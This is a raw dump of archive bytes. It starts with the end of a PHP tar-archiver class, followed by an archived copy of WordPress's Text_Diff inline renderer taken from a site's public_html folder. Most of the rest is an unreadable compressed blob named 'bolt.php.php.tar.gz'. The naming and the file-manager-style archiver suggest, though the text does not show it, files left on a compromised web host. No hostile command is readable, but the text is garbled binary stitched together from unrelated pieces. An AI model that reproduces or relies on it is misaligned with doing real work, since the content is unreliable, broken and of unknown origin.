		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
